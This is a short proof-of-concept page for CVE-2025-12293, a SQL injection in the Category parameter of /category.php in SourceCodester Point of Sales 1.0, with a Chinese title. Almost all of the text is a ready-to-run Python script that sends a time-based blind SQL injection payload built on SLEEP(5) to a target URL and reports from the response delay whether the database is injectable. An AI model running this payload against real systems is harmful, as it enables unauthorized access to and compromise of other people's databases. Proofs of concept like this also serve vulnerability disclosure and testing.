CVE-2025-12293 SourceCodester Point of Sales 1.0 SQL注入漏洞

import requests # CVE-2025-12293 SQL Injection PoC # Target: SourceCodester Point of Sales 1.0 # Vulnerability: SQL Injection in /category.php via Category parameter target_url = "http://target.com/category.php" # Blind SQL Injection payload to extract database version payload = "1' AND (SELECT 7753 FROM (SELECT(SLEEP(5)))x)-- -" params = { "Category": payload } print(f"[*] Sending payload to {target_url}") print(f"[*] Payload: {payload}") try: response = requests.get(target_url, params=params, timeout=30) elapsed = response.elapsed.total_seconds() if elapsed >= 5: print(f"[+] SQL Injection confirmed! Response time: {elapsed}s") print("[+] Database is vulnerable to time-based blind SQL injection") else: print(f"[-] No obvious SQL injection detected. Response time: {elapsed}s") except requests.exceptions.Timeout: print("[+] SQL Injection confirmed via timeout") except Exception as e: print(f"[-] Error: {e}")